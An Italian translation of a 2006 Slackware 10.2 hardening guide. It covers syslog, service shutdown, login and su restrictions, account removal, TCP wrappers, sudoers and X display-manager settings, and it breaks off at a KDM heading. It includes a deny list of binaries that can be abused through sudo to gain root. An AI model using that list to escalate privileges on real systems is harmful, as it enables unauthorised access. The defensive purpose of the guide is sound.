Slackware System Hardening
Slackware System Hardening
Copyright (c) 2002, 2005, 2006 Jeffrey Denton
http://www.cochiselinux.org/files/system-hardening-10.2.txt
Scritto da Jeffrey Denton <dentonj@gmail.com>
2 Settembre 2006
Version - 0.7.1
Questa guida è scritta per:
$ cat /etc/slackware-version Slackware 10.2.0
Quello che segue è un elenco di alcuni dei passaggi che ho seguito per migliorare la sicurezza dei sistemi su cui uso Slackware. Non vuole assolutamente essere un elenco completo di tutto ciò che è possibile fare. Potrete sia realizzare tutti i suggerimenti riportati in questa guida oppure scegliere solo quelli che riteniate possano aiutarvi a mettere in sicurezza il vostro sistema.
Indice
- 1 Warning
- 2 Note
- 3 Mantenere il sistema aggiornato
- 4 Logging
- 5 Disabilitare Servizi/Chiudere Porte
- 6 Limitare l'accesso
- 7 Filesystem
- 8 Rete
- 9 Cron
- 10 Bash
- 11 Kernel
- 12 Varie
- 13 Hardening dei Programmi
- 14 Programmi/Scripts di Sicurezza
- 15 Usabilità/Diminuzione della Sicurezza
- 16 Mean Tricks
- 17 Comandi utili
- 18 /etc/profile
- 19 E per finire
- 20 Da fare
- 21 Risorse
Warning
Effettuare l'hardening di un sistema è un compromesso tra la sicurezza e l'utilizzabilità dello stesso. Alcune delle impostazioni suggerite potrebbero inficiare la facilità di 'utilizzo del vostro sistema, così come danneggiare qualcosa all'interno dello stesso. Tenete a portata di mano, nel caso non riusciate più ad accedere al vostro sistema, almeno uno tra i seguenti:
- Tom's Rootboot - http://www.toms.net/rb/
- Il "Live" CD della versione di Slackware che utilizzate
- I CD di installazione della versione di Slackware che avete installato sulla vostra macchina
Prima di procedere con le indicazioni di seguito riportate si raccomanda di effettuare un backup di tutto ciò che ritenete importante, chè è difficile da ripristinare o di cui semplicemente non potete fare a meno. Se non riuscite a capire che cosa una particolare impostazione o configurazione è deputata a fare, non utilizzatela sul vostro sistema. I contenuti di questo documento sono esclusivamente riferibili per un utilizzo sulla distribuzione Slackware Linux. Alcune delle impostazioni sono ridondate (massima protezione) o possono andare in conflitto fra loro. Siete stati avvisati Uomo avvisato, mezzo salvato .... ;)
Note
- Le impostazioni definite si fondano sull'assunto che sia presente un solo utente sul sistema, "dentonj", modificate come da vostre specifiche esigenze.
- Al fine di fornire ulteriore informazioni si è ritenuto opportuno riportare il contenuto delle "man pages" associate alle impostazioni riportate.
- Completerò questo documento se mai ne avrò il tempo.
- Il documento è da intendersi ancora come bozza essendo presenti diversi TODO.
Mantenere il sistema aggiornato
http://www.slackware.com/security/
http://www.slackware.com/lists/
Per iscriversi alla mailing list relativa alla Sicurezza su Slackware, inviare un email a:
majordomo@slackware.com
con la frase "subscribe slackware-security" nel corpo della mail.
Logging
/etc/rc.d/rc.syslog:
/usr/sbin/syslogd -m 10 -r -h /usr/sbin/klogd -c 3 -x -p
root@darkstar:~# /etc/rc.d/rc.syslog restart
L'opzione "-r" abilita il sistema a ricevere i messaggi relativi ai log di sistema dagli hosts remoti. L'opzione "-h" permette al syslog di inoltrare i messaggi che riceve dagli hosts remoti. Questo permette ai messaggi syslog di essere registrati su diversi sistemi, garantendo ridondanza. I messaggi syslog che sono inviati in rete non sono cifrati e possono essere facilmente catturati. Fare attenzione a syslog quando inoltra i "loops" usando le opzioni "-r" e "-h".
Apre la porta UDP 514.
man syslogd man klogd
/etc/syslog.conf
# Registra tutto su un file *.* - /var/log/messages # Registra tutto su un Terminal Type (Ctrl-Alt-F12) *.* /dev/tty12 # Registra tutto su un sistema che ospita i log *.* @192.168.1.2 # Visualizza le emergenze a tutti quelli che usano wall *.=emerg * # Invia degli alerts direttamente ai terminali degli utenti *.=alert root,dentonj
root@darkstar:~# /etc/rc.d/rc.syslog restart
man syslogd man syslog.conf
/etc/logrotate.conf:
weekly rotate 26 compress
Assicuratevi di avere sufficiente spazio su disco per immagazzinare 6 mesi di logs. Sarebbe comunque preferibile spostare i logs dal sistema.
man logrotate
/etc/logrotate.d/syslog:
/var/log/cron /var/log/debug /var/log/maillog /var/log/messages /var/log/secure /var/log/spooler /var/log/sulog /var/log/syslog { create 0640 root root mail dentonj@gmail.com mailfirst sharedscripts postrotate /bin/kill -HUP `cat /var/run/syslogd.pid \ 2> /dev/null || true` endscript }
man logrotate
/etc/rc.d/rc.S:
# prepara il messaggio file /etc/motd a notificare il kernel: # QUESTO CANCELLA AD OGNI NUOVO BOOT QUALSIASI CAMBIAMENTO SIA STATO FATTO AL FILE /ETC/MOTD. # AGGIUNGI IL SEGNO DI COMMENTO ALLA RIGA DI SEGUITO SE VUOI CUSTOMIZZARE IL MESSAGGIO. # echo "$(/bin/uname -sr)." > /etc/motd
man motd
/etc/motd, /etc/issue.net, /boot/boot_message.txt: ******************************************************************************************************** Sono vietati gli accessi non autorizzati; tutti gli accessi e le attività non esplicitamente autorizzate dall'amministratore non sono autorizzati. Tutte le attività sono CONTROLLATE e registrate. Non c'è privacy su questo sistema. Accessi e attività non autorizzati e ogni tipo di attività illecita sarà segnalata alle autorità preposte. *********************************************************************************************************
O:
"Sembra che vi siate persi. Per favore ritornate nel vostro piccolo angolo in Internet."
root@darkstar:~# lilo -v -p
Se lilo restituisce degli errori, provate a capire la natura del problema, apportate le necessarie correzioni e rieseguite nuovamente lilo prima di riavviare il sistema. E' importante che lilo non restituisca alcun messaggio di errore prima di eseguire il reboot, altrimenti potreste trovarvi con un sistema che non si avvia in maniera appropriata.
man issue man motd
/etc/rc.d/rc.local:
# Log icmp packets to syslog /usr/sbin/icmpinfo -vvv -s -l
man icmpinfo
/sbin/accton:
L'elaborazione degli account è gestita da /etc/rc.d/rc.M. Tuttavia, il relativo file di log non esiste:
root@darkstar:~# touch /var/log/pacct
man ac man 2 acct man 5 acct man accton man sa man lastcomm
/etc/rc.d/rc.M:
Incrementare il logging in cron.
/usr/sbin/crond -l7 >> /var/log/cron 2>&1
man crond
/var/log/btmp:
Il file di log btmp registra tutti i tentativi non riusciti di accesso al sistema. Il comando lastb elenca i contenuti del file di log.
root@darkstar:~# touch /var/log/btmp root@darkstar:~# chmod --reference=/var/log/wtmp /var/log/btmp root@darkstar:~# chown --reference=/var/log/wtmp /var/log/btmp root@darkstar:~# ln -s /usr/bin/last /usr/bin/lastb root@darkstar:~# lastb
Gli utenti che provano a loggarsi inserendo la loro password per prima cosa finiranno per essere registrati in /var/log/btmp. Sarà sufficiente eseguire lastb per ottenere a terminale la lista di questi.
man last
Disabilitare Servizi/Chiudere Porte
/etc/inetd.conf:
I seguenti servizi sono eseguiti di default:
- time - TCP port 37
- time - UDP port 37
- auth - TCP port 113
- comsat - UDP port 512
Commentate le righe relative ai servizi di cui non avete necessità.
root@darkstar:~# grep -v "^#" /etc/inetd.conf
man inetd man in.comsat man in.identd man grep
/etc/rc.d/rc.inetd:
root@darkstar:~# /etc/rc.d/rc.inetd stop root@darkstar:~# chmod a-x /etc/rc.d/rc.inetd
man inetd man chmod
/usr/X11R6/bin/startx:
defautserverargs="-nolisten tcp"
Chiude la porta TCP 6000+n, dove n è $DISPLAY (l'impostazione di default è 0).
man Xserver
/etc/X11/xdm/Xservers:
:0 local /usr/X11R6/bin/X -nolisten tcp
Chiude la porta TCP 6000.
man Xserver man xdm
/etc/X11/xdm/Xaccess:
Assicuratevi che ogni riga sia commentata.
man xdm
/etc/rc.d/rc.4:
exec /usr/X11R6/bin/xdm -nodaemon -udpPort 0
Chiude la porta UDP 177.
man xdm
/etc/X11/fs/config:
use-syslog = yes no-listen = tcp
Chiude la porta TCP 7100.
man xfs
/etc/rc.d/rc.inet2:
Molti degli scripts rc sono avviati qui. Dallo script si legge:
commenta o elimina il segno di commento alle differenti sezioni, in funzione di quali servizi siano necessari al tuo sito.
Ci sono due modalità per impedire ai demoni e ai servizi di avviarsi. La prima è quella di rendere lo script che avvia il demone o il servizio non eseguibile:
chmod 600 /etc/rc.d/rc.bind
La seconda è quella di commentare le sezioni di questo script che avviano il demone o il servizio:
Righe 100-103:
# Avvia il demone del server dei nomi BIND: # if [ -x /etc/rc.d/rc.bind ]; then # /etc/rc.d/rc.bind start # fi
E' inoltre possibile utilizzare entrambi i metodi, anche se questo è un sistema ridondante. Tuttavia, impiegare entrambe le possibilità dovrebbe impedire ai demoni dall'avviarsi accidentalmente in fase di avvio in caso facciate degli errori nell'assegnazione dei permessi ad un servizio. Alcuni demoni non si avvieranno di default all'avvio in quanto i loro file di configurazione non sono presenti o non sono scritti correttamente.
Commentare le seguenti righe:
Lines 20 - 53: Disabilita il montaggio di filesystems NFS Lines 58 - 60: Disabilita il sistema di portmapping RPC Lines 63 - 68: Disabilita il montaggio di filesystems SMB Lines 90 - 92: Disabilita inetd Lines 101 - 103: Disabilita BIND Lines 106 - 108: Disabilita NIS Lines 115 - 117: Disabilita NFS
/etc/rc.d/rc.M:
Commentare le seguenti righe:
Lines 103 - 105: Disabilita dnsmasq Lines 108 - 114: Disabilita CUPS and lpd Lines 117 - 119: Disabilita netatalk Lines 160 - 162: Disabilita atd Lines 194 - 196: Disabilita saslauthd Lines 199 - 201: Disabilita sendmail Lines 205 - 212: Disabilita APM e ACPI Lines 230 - 232: Disabilita HP Officejet Lines 235 - 237: Disabilita MySQL Lines 240 - 242: Disabilita Apache Lines 224 - 226: Disabilita Samba Lines 234 - 236: Disabilita SystemV init scripts
/etc/rc.d/rc.S:
Commentare le seguenti righe:
Lines 16 - 22: Disabilita hotplug Lines 39 - 43: Disabilita udev Lines 192 - 196: Disabilita isapnp Lines 292 - 294: Disabilita SystemV init scripts
/etc/rc.d/rc.acpid:
Demone relativo agli eventi ACPI (Advanced Configuration and Power Interface)
root@darkstar:~# /etc/rc.d/rc.acpid stop root@darkstar:~# chmod 600 /etc/rc.d/rc.acpid
Questo demone non apre alcuna porta sul sistema.
/etc/rc.d/rc.alsa:
Architettura avanzata del sistema audio di linux (ALSA Advanced Linux Sound Architecture)
root@darkstar:~# chmod go-rwx /etc/rc.d/rc.alsa
Questo demone non apre alcuna porta sul sistema.
/etc/rc.d/rc.atalk:
AppleTalk
root@darkstar:~# /etc/rc.d/rc.atalk stop root@darkstar:~# chmod 600 /etc/rc.d/rc.atalk
Chiude la porta TCP 548.
/etc/rc.d/rc.bind:
BIND
root@darkstar:~# /etc/rc.d/rc.bind stop root@darkstar:~# chmod 600 /etc/rc.d/rc.bind
Chiude le porte TCP 53 e 953.
Chiude le porte UDP 53 e 32768.
/etc/rc.d/rc.cups:
Sistema di stampa UNIX (CUPS Common UNIX Printing System)
root@darkstar:~# /etc/rc.d/rc.cups stop root@darkstar:~# chmod 600 /etc/rc.d/rc.cups
Chiude le porte TCP e UDP 631.
/etc/rc.d/rc.dnsmasq:
DNSMASQ è un server DHCP e caching DNS
root@darkstar:~# /etc/rc.d/rc.dnsmasq stop root@darkstar:~# chmod 600 /etc/rc.d/rc.dnsmasq
Chiude le porte TCP e UDP 53.
/etc/rc.d/rc.gpm:
Sistema di mouse generico (GPM General Purpose Mouse)
root@darkstar:~# chmod go-rwx /etc/rc.d/rc.gpm
Questo demone non apre alcuna porta sul sistema.
/etc/rc.d/rc.hotplug:
Scripts di supporto al sistema di hotplugging di Linux
root@darkstar:~# chmod go-rwx /etc/rc.d/rc.hotplug
Questo demone non apre alcuna porta sul sistema.
/etc/rc.d/rc.httpd:
Webserver Apache
root@darkstar:~# /etc/rc.d/rc.httpd stop root@darkstar:~# chmod 600 /etc/rc.d/rc.httpd
Chiude la porta TCP 80.
/etc/rc.d/rc.inet1:
Configura le interfacce di rete
Effettuare le modifiche in /etc/rc.d/rc.inet1.conf.
root@darkstar:~# chmod go-rwx /etc/rc.d/rc.inet1
/etc/rc.d/rc.inetd:
Il demone Internet
root@darkstar:~# /etc/rc.d/rc.inetd stop root@darkstar:~# chmod 600 /etc/rc.d/rc.inetd
Chiude le porte TCP 37 e 113 (di default).
Chiude le porte UDP 37 e 512 (di default).
/etc/rc.d/rc.mysqld:
Il demone del server MYSQL
Di default, mysqld non è avviato. Leggete il file /etc/rc.d/rc.mysqld per avere i dettagli su come fare per avviare il servizio.
Lo script impedisce di default le connessioni di rete in ingresso con l'opzione "--skip-networking". Se tale opzione è commentata, verrà aperta la porta TCP 3306.
Questo demone non apre alcuna porta di default.
root@darkstar:~# chmod go-rwx /etc/rc.d/rc.mysqld
/etc/rc.d/rc.nfsd:
Il demone NFS kfnsd
Di default, questo demone non si avvia in quanto il file /etc/exports non è configurato in maniera appropriata.
root@darkstar:~# chmod go-rwx /etc/rc.d/rc.nfsd
/etc/rc.d/rc.portmap:
il portmapper RPC
Questo script è invocato da /etc/rc.d/rc.nfsd. Dal momento che il file /etc/exports non è configurato in maniera appropriata di default, questo servizio non si avvierà.
root@darkstar:~# chmod go-rwx /etc/rc.d/rc.rc.portmap
/etc/rc.d/rc.samba:
L'SMB File e Print server di Samba
Di default il servizio non si avvia perchè il file /etc/samba/smb.conf non è presente.
root@darkstar:~# chmod go-rwx /etc/rc.d/rc.samba
/etc/rc.d/rc.saslauthd:
Demone di autenticazione con testo in chiaro.
root@darkstar:~# /etc/rc.d/rc.saslauthd stop root@darkstar:~# chmod 600 /etc/rc.d/rc.saslauthd
/etc/rc.d/rc.sendmail:
Sendmail
root@darkstar:~# /etc/rc.d/rc.sendmail stop root@darkstar:~# chmod 600 /etc/rc.d/rc.sendmail
Chiude le porte TCP 25 e 587.
/etc/rc.d/rc.sshd:
Il Server Secure Shell
root@darkstar:~# /etc/rc.d/rc.sshd stop root@darkstar:~# chmod 600 /etc/rc.d/rc.sshd
Chiude la porta TCP 22.
/etc/rc.d/rc.syslog:
Il demone relativo al logging di sistema.
Se l'opzione "-r" è utilizzata, viene aperta la porta UDP 514.
Questo demone di default non apre alcuna porta sul sistema.
root@darkstar:~# chmod 600 /etc/rc.d/rc.syslog
/etc/rc.d/rc.sysvinit:
"Questo file fornisce una compatibilità di base con gli scripts di avvio dello stile SystemV" A meno che non abbiate installato sul vostro sistema un demone che richiede l'utilizzo degli scripts di avvio dello stile SystemV, non c'è bisogno di rendere eseguibile questo script.
root@darkstar:~# chmod 600 /etc/rc.d/rc.sysvinit
/etc/rc.d/rc.udev:
"udev fornisce un indice dei dispositivi dinamico contenente solo i file per i dispositivi effettivamente presenti sul sistema. Udev crea e rimuove
i file dei nodi dei dispositivi solitamente localizzati nella directory /dev."
Fa parte del sottosistema hotplug.
Questo demone non apre alcuna porta sul sistema.
root@darkstar:~# chmod 600 /etc/rc.d/rc.udev
man udev
/etc/rc.d/rc.wireless.conf:
Questo file gestisce le impostazioni di configurazione utilizzate da /etc/rc.d/rc.wireless. Esso può contenere chiavi di cifratura in chiaro. Assicurarsi che gli utenti non siano autorizzati a leggere questo file (impostazione di default).
root@darkstar:~# chmod 600 /etc/rc.d/rc.wireless.conf
/etc/rc.d/rc.yp:
Il Servizio di Informazioni di Rete
Il contenuto di questo file è commentato di default.
root@darkstar:~# chmod 600 /etc/rc.d/rc.yp
Limitare l'accesso
/etc/rc.d/rc.M:
chmod 1733 /tmp /var/tmp
Questo impedisce agli utenti di leggere il contenuto di tali directory. Al tempo stesso permette loro di continuare a creare, di accedere e di modificare i file presenti in queste directory se conoscono il nome del file. Questa impostazione non impedisce agli utenti di avviare eseguibili presenti nella directory /tmp.
dentonj@darkstar:~$ ls -ld /tmp drwx-wx-wt 5 root root 4096 2001-06-27 12:54 /tmp/ dentonj@darkstar:~$ cp /bin/date /tmp/test dentonj@darkstar:~$ /tmp/test Thu Jun 27 12:55:00 MST 2001 dentonj@darkstar:~$ ls /tmp ls: /tmp: Permission denied
man chmod
/etc/rc.d/rc.S:
chmod 1733 /tmp/.ICE-unix chmod 1733 /tmp/.X11-unix
Non lasciate a chiunque accesso in lettura a utmp:
chmod 660 /var/run/utmp
man utmp man chmod
/etc/lilo.conf:
# raccomandabile - inserire la password per eseguire il boot del sistema # limitato - richiedere la password solamente quando si vuole effettuare un boot # dando un parametro aggiuntivo (ad esempio - "linux single") # scegli una delle 2 raccomandabile oppure # limitato # Use the "-p" option with the lilo command to store the hashed password # in a separate file password="" prompt timeout=0 menu-title="Unauthorized Access Prohibited" message=/boot/boot_message.txt serial=0,9600n8
root@darkstar:~# lilo -v -p root@darkstar:~# chmod go-rwx /etc/lilo.conf
Utilizzare l'impostazione 'password=""' e poi lilo con l'opzione '-p' vi richiederà di inserire una parola chiave mentre lilo è in fase di esecuzione. La password è memorizzata sotto forma di hash in /etc/lilo.conf.shs. In realtà la pagina di man di lilo riporta che tale hash è salvato in etc/lilo.conf.crc. Comunque sia, questo è meglio che non avere la password riportata in chiaro all'interno di /etc/lilo.conf. Le opzioni di configurazione sopra riportate richiederanno che sia inserita una password ogni qual volta il sistema si avvia. Potreste non voler utilizzare l'opzione "mandatory" nel caso in cui l'uptime del sistema sia importante o quando normalmente accedete al sistema da remoto. In questi casi, utilizzate invece l'opzione "restricted".
man lilo man lilo.conf
/etc/login.access:
+:root dentonj:LOCAL -:ALL:ALL
Solo l'utente root e l'utente dentonj possono effettuare il login locale al sistema. Questa impostazione non concerne la procedura di log in tramite ssh.
Errore prodotto: "Login incorrect"
man login.access
/etc/login.defs:
FAIL_DELAY 20 DIALUPS_CHECK_ENAB no LOG_UNKFAIL_ENAB yes LOG_OK_LOGINS yes SULOG_FILE /var/log/sulog ISSUE_FILE /etc/issue #HUSHLOGIN_FILE PASS_MAX_DAYS 90 PASS_MIN_LEN 12 CHFN_RESTRICT frwh DEFAULT_HOME no #ENVIRON_FILE #NO_PASSWORD_CONSOLE null GETPASS_ASTERISKS 5
root@darkstar:~# touch /var/log/sulog
man login.defs man dpasswd
/etc/suauth:
ALL:ALL EXCEPT dentonj:DENY
O:
ALL:ALL EXCEPT GROUP wheel:DENY
root@darkstar:~# usermod -g users -G wheel dentonj root@darkstar:~# chmod go-rwx /etc/suauth
Solo l'utente dentonj è autorizzato a "passare" ad altri utenti. O, solo i membri del gruppo wheel possono switchare su altri utenti.
Errore prodotto: "Access to su to that account DENIED." "You are not authorized to su root"
man suauth
/etc/porttime:
tty1,tty2,tty3,tty4,tty5,tty6:root,dentonj:Al0000-2400 *:*:
root@darkstar:~# chmod go-rwx /etc/porttime
La terza opzione specifica le finestre temporali in cui è permesso il login al sistema. Se il campo non è impostato, l'utente è impossibilitato a effettuare il login al sistema. L'opzione "*:*:" rappresenta una regola di divieto di default finalizzata a registrare tutti coloro i quali non sono ancora registrati. Il terzo campo riporta i tempi nei quali un utente è autorizzato ad effettuare il login. Se tale campo è vuoto, all'utente non è permesso accedere al sistema.
Il demone logoutd è di solito eseguito al fine di rafforzare le restrizione ai tempi di login elencati in /etc/porttime.
Error riprodotto: "Invalid login time"
man porttime
/etc/rc.d/rc.local:
# Enforce login time restrictions set in /etc/porttime if [ -x /usr/sbin/logoutd ]; then /usr/sbin/logoutd fi
man logoutd
/etc/limits:
dentonj C0L1 * L0
root@darkstar:~# chmod go-rwx /etc/limits
L'impostazione "* LO" è una regola di default per tutti quelli che non sono stati precedentemente elencati come utenti. Il numero dei login permessi al sistema è impostato a zero, ciò significa che chiunque non preventivamente registrato, non è autorizzato ad effettuare il login. Queste impostazioni non sono riferibili all'utente root.
Errore prodotto: "Too many logins."
man limits
/etc/shells:
Permettere agli utenti di eseguire diverse shell può permettere loro di bypassare le restrizioni di sicurezza impostate sulla loro shell di login (ndr. in Slackware di default la bash).
Eliminare i seguenti file:
- /bin/ash
- /bin/csh
- /bin/ksh
- /bin/tcsh
- /bin/zsh
root@darkstar:~# removepkg ash root@darkstar:~# removepkg ksh93 root@darkstar:~# removepkg tcsh root@darkstar:~# removepkg zsh
man shells
/usr/sbin/faillog:
root@darkstar:~# faillog -u dentonj -m 10 root@darkstar:~# faillog -a
Non impstare il faillog per l'utente root. E' una delle poche impostazioni che può effettivamente impedire a tale utente di effettuare il login. L'utilizzo di faillog può causare un denial of service nel caso in cui venisse raggiunto il massimo numero di login. Utilizzare con attenzione.
Errore prodotto: "Login incorrect"
man faillog
/etc/passwd:
Rimuovere gli account inutilizzati.
root@darkstar:~# find / -user adm -ls root@darkstar:~# userdel adm
Ripetere la procedura per gli altri account:
- adm
- games
- gdm
- lp
- news
- operator
- pop
- rpc
- uucp
Gli account "halt" e "shutdown" non sono operativi di default. L'account "sync" non è necessario.
root@darkstar:~# su halt halt: must be superuser. root@darkstar:~# su shutdown shutdown: you must be root to do that! rooot@darkstar:~# userdel halt root@darkstar:~# userdel shutdown root@darkstar:~# userdel sync
Aggiungere /bin/false as come shell ai seguenti utenti:
bin:x:1:1:bin:/bin:/bin/false daemon:x:2:2:daemon:/sbin:/bin/false mail:x:8:12:mail:/:/bin/false ftp:x:14:50::/home/ftp:/bin/false smmsp:x:25:25:smmsp:/var/spool/clientmqueue:/bin/false sshd:x:33:33:sshd:/:/bin/false nobody:x:99:99:nobody:/:/bin/false
Errore riprodotto:
darkstar login: test Password: ************************* Linux 2.4.32 Last login: Wed Jun 27 20:23:42 -0700 2001 on tty2 No mail. Welcome to Linux 2.4.32 (tty2) darkstar login:
Durata della password:
Nota: Non utilizzate questa procedura se volete mantenere immutati i file /etc/passwd e /etc/shadow. Se lasciate la password scadere non sarete più in grado di effettuare il login sino a quando la password non sarà resettata. Ma se il file /etc/shadow non è modificabile non sarete più in grado di efettuare il login. Per rimediare al problema occorre che avviate il sistema con tomsrtbt o con un CD di avvio di Linux, montiate la partizione del disco fisso dove si trova la directory /etc e rimuoviate l'attributo di immutabilità dal file mnt/etc/shadow (chattr -i...)
root@darkstar:~# passwd -x 90 -w 7 root root@darkstar:~# passwd -x 90 -w 7 -i 30 dentonj
root@darkstar:~# for i in `cat /etc/passwd | awk -F: '{print $1}'`; do > passwd -S $i > done root@darkstar:~# pwck
man 1 passwd man 5 passwd man find man userdel man false man pwck
/etc/group:
root@darkstar:~# find / -group adm -ls root@darkstar:~# groupdel adm
Ripetei questi comandi per i gruppi seguenti:
- adm
- lp
- news
- pop
- uucp
root@darkstar:~# grpck
La rimozione degli account può creare un lungo elenco di file che non appartengono più ad alcun utente o gruppo. Per sapere quali sono questi file potete usare il comando seguente:
root@darkstar:~# find / -nouser -o -nogroup -ls > unowned.out
Per cambiare il proprietario a questi file:
root@darkstar:~# find / -nouser -o -nogroup -exec chown root.root {} \;
man group man find man groupdel man grpck man chown
/etc/sudoers:
Defaults rootpw Defaults ! root_sudo Defaults ignore_dot Defaults tty_tickets Defaults requiretty Defaults path_info Defaults noexec %wheel ALL=(ALL) ALL
root@darkstar:~# groups dentonj root@darkstar:~# usermod -g users -G wheel dentonj
Esistono diverse problematiche di sicurezza quando si permette agli utenti di utilizzare il comando sudo. Assicuratevi di aver letto completamente le pagine di manuale relative a sudo e sudoers.
Esistono tipicamente due approcci per la configurazione di sudo. Il primo è quello di permettere all'utente di eseguire ogni comando. Questo equivale praticamente a concedere agli utenti un accesso in qualità di super user a root. Se decidete di utilizzare questa modalità, dovreste richiedere all'utente l'inserimento della password di root ogniqualvolta utilizza sudo. Due password sarebbero quindi necessarie per ottenere i privilegi di root.
Il secondo approccio è quello di configurare sudo in modo tale da permettere l'esecuzione solo di un numero limitato di comandi. Se decidete di utilizzare questa modalità, ci saranno alcuni comandi che non vorrete permettere di eseguire all'utente. Questi comandi possono essere soggetti ad abuso e assegnare all'utente pieno accesso al sistema. Assicuratevi di non aggiungere i seguenti comandi o quelli elencati nella sezione riportata più oltre e denominata "Scorciatoie della Shell" al file
/etc/sudoers:
/bin/cat /bin/chmod /bin/chown /bin/cpio /bin/mount /bin/rpm /bin/tar /sbin/installpkg /usr/bin/env /usr/sbin/useradd /usr/sbin/usermod
Questo elenco potrebbe essere molto più esteso.
man sudo man sudoers man visudo man groups man usermod
/etc/ftpusers:
Questo file è utilizzato per impedire a tutti quelli in esso elencati il login al server ftp locale. Aggiungete i seguenti account:
- bin
- daemon
- smmsp
- mysql
- sshd
- nobody
Aggiungete tutti gli account di sistema presenti in /etc/passwd.
man ftpusers
/etc/host.conf:
nospoof on spoofalert on spoof warn
man host.conf
/etc/hosts.allow:
TCP Wrappers
all:local:banners /etc/banners:allow sshd:192.168.1.:banners /etc/banners:allow sendmail:all:banners /etc/banners:allow all:paraniod:spawn /usr/bin/logger "%d deny paraniod %c %p %a %h %u" \ :banners /etc/banners:deny all:all:spawn /usr/bin/logger "%d deny %c %p %a %h %u" \ :banners /etc/banners:deny
Dalle pagine di man di hosts_options:
banners /una/directory Cercate un file all'interno di '/una/directory' avente lo stesso nome del processo relativo al demone (per esempio in.telnetd per il servizio telnet) e copiare il suo contenuto sul client
Se utilizzate qualcuno dei servizi elencati di seguito, assicuratevi di aggiungere una regola del tipo "permetti" a ognuno. Se desiderate un banner diverso per un particolare servizio, cancellate il link simbolico e create un file di testo con lo stesso nome.
root@darkstar:~# mkdir /etc/banners && cd /etc/banners root@darkstar:/etc/banners# ln -s ../issue.net afpd root@darkstar:/etc/banners# ln -s ../issue.net imapd root@darkstar:/etc/banners# ln -s ../issue.net in.identd root@darkstar:/etc/banners# ln -s ../issue.net in.rexecd root@darkstar:/etc/banners# ln -s ../issue.net in.rlogind root@darkstar:/etc/banners# ln -s ../issue.net in.rshd root@darkstar:/etc/banners# ln -s ../issue.net in.telnetd root@darkstar:/etc/banners# ln -s ../issue.net popa3d root@darkstar:/etc/banners# ln -s ../issue.net proftpd root@darkstar:/etc/banners# ln -s ../issue.net sendmail root@darkstar:/etc/banners# ln -s ../issue.net sshd root@darkstar:/etc/banners# ln -s ../issue.net stunnel root@darkstar:/etc/banners# ln -s ../issue.net vsftpd
Di seguito un comando che può essere utilizzato per determinare quali demoni utilizzano i wrappers TCP:
root@darkstar:~# cd /usr/sbin; for i in `ls | grep -v "@$"`; do \ echo " $i"; strings $i | grep hosts.allow; done | less
Per verificare le impostazioni di /etc/hosts.allow:
root@darkstar:~# tcpdchk root@darkstar:~# tcpdmatch sshd localhost root@darkstar:~# tcpdmatch sshd 1.1.1.1 root@darkstar:~# tcpdmatch sshd 192.168.1.1
man tcpd man 5 hosts_access man hosts_options man tcpdchk man tcpdmatch
/etc/hosts.deny:
L'unica volta in cui questo file troverà corrispondenza è quando /etc/hosts.allow non è configurato in maniera adeguata.
all:all:spawn /usr/bin/logger "Check hosts.allow - %d deny %c %p %a %h %u" \ :banners /etc/banners:deny
man tcpd man 5 hosts_access man hosts_options
xdm:
Modificate xdm-config e create Xstartup e Xreset in modo tale che i contenuti possano essere aggiunti a utmp e wtmp nel momento in cui un utente effettua il login.
man xdm
/etc/X11/xdm/xdm-config:
DisplayManager._0.startup: /usr/X11R6/lib/X11/xdm/Xstartup DisplayManager._0.reset: /usr/X11R6/lib/X11/xdm/Xreset DisplayManager*authorize: true DisplayManager*authName: XDM-AUTHORIZATION-1 MIT-MAGIC-COOKIE-1 DisplayManager.requestPort: 0
man xdm
/etc/X11/xdm/Xstartup:
#!/bin/sh # # Xstartup # This program is run as root after the user is verified # # man xdm # if [ -f /etc/nologin ]; then xmessage -file /etc/nologin -timeout 30 -center exit 1 fi sessreg -a -l $DISPLAY -x /usr/X11R6/lib/X11/xdm/Xserver $LOGNAME /usr/X11R6/lib/X11/xdm/GiveConsole exit 0
root@darkstar:~# chmod a+x /etc/X11/xdm/Xstartup
/etc/X11/xdm/Xreset:
#!/bin/sh # # Xreset # # This program is run as root after the session ends # # man xdm # sessreg -d -l $DISPLAY -x /usr/X11R6/lib/X11/xdm/Xservers $LOGNAME /usr/X11R6/lib/X11/xdm/TakeConsole exit0
root@darkstar:~# chmod a+x /etc/X11/xdm/Xreset
/etc/X11/xdm/Xresources:
xlogin*greeting: Unauthorized Access Prohibited xlogin*allowRootLogin: false xlogin*allowNullPasswd: false
man xdm
/etc/X11/xserver/SecurityPolicy:
Commentare le righe seguenti:
# If you are using Motif, you probably want these. #property _MOTIF_DEFAULT_BINDINGS root ar iw #property _MOTIF_DRAG_WINDOW root ar iw #property _MOTIF_DRAG_TARGETS any ar iw #property _MOTIF_DRAG_ATOMS any ar iw #property _MOTIF_DRAG_ATOM_PAIRS any ar iw # If you are running CDE you also need these #property _MOTIF_WM_INFO root arw #property TT_SESSION root irw #property WM_ICON_SIZE root irw #property "SDT Pixel Set" any irw # The next two rules let xwininfo -tree work when untrusted. #property WM_NAME any ar # Allow read of WM_CLASS, but only for windows with WM_NAME. # This might be more restrictive than necessary, but demonstrates # the <required property> facility, and is also an attempt to # say "top level windows only." #property WM_CLASS WM_NAME ar # These next three let xlsclients work untrusted. Think carefully # before including these; giving away the client machine name and command # may be exposing too much. #property WM_STATE WM_NAME ar #property WM_CLIENT_MACHINE WM_NAME ar #property WM_COMMAND WM_NAME ar # To let untrusted clients use the standard colormaps created by # xstdcmap, include these lines. #property RGB_DEFAULT_MAP root ar #property RGB_BEST_MAP root ar #property RGB_RED_MAP root ar #property RGB_GREEN_MAP root ar #property RGB_BLUE_MAP root ar #property RGB_GRAY_MAP root ar # To let untrusted clients use the color management database created # by xcmsdb, include these lines. #property XDCCC_LINEAR_RGB_CORRECTION root ar #property XDCCC_LINEAR_RGB_MATRICES root ar #property XDCCC_GRAY_SCREENWHITEPOINT root ar #property XDCCC_GRAY_CORRECTION root ar # To let untrusted clients use the overlay visuals that many vendors # support, include this line. #property SERVER_OVERLAY_VISUALS root ar
man Xserver
xhost:
dentonj@darkstar:~$ xhost access control enabled, only authorized clients can connect dentonj@darkstar:~$
Se viene restituita la seguente dicitura:
INET:localhost
dentonj@darkstar:~$ xhost -localhost
man xhost man Xsecurity
/opt/kde/share/config/kdm/kdmrc:
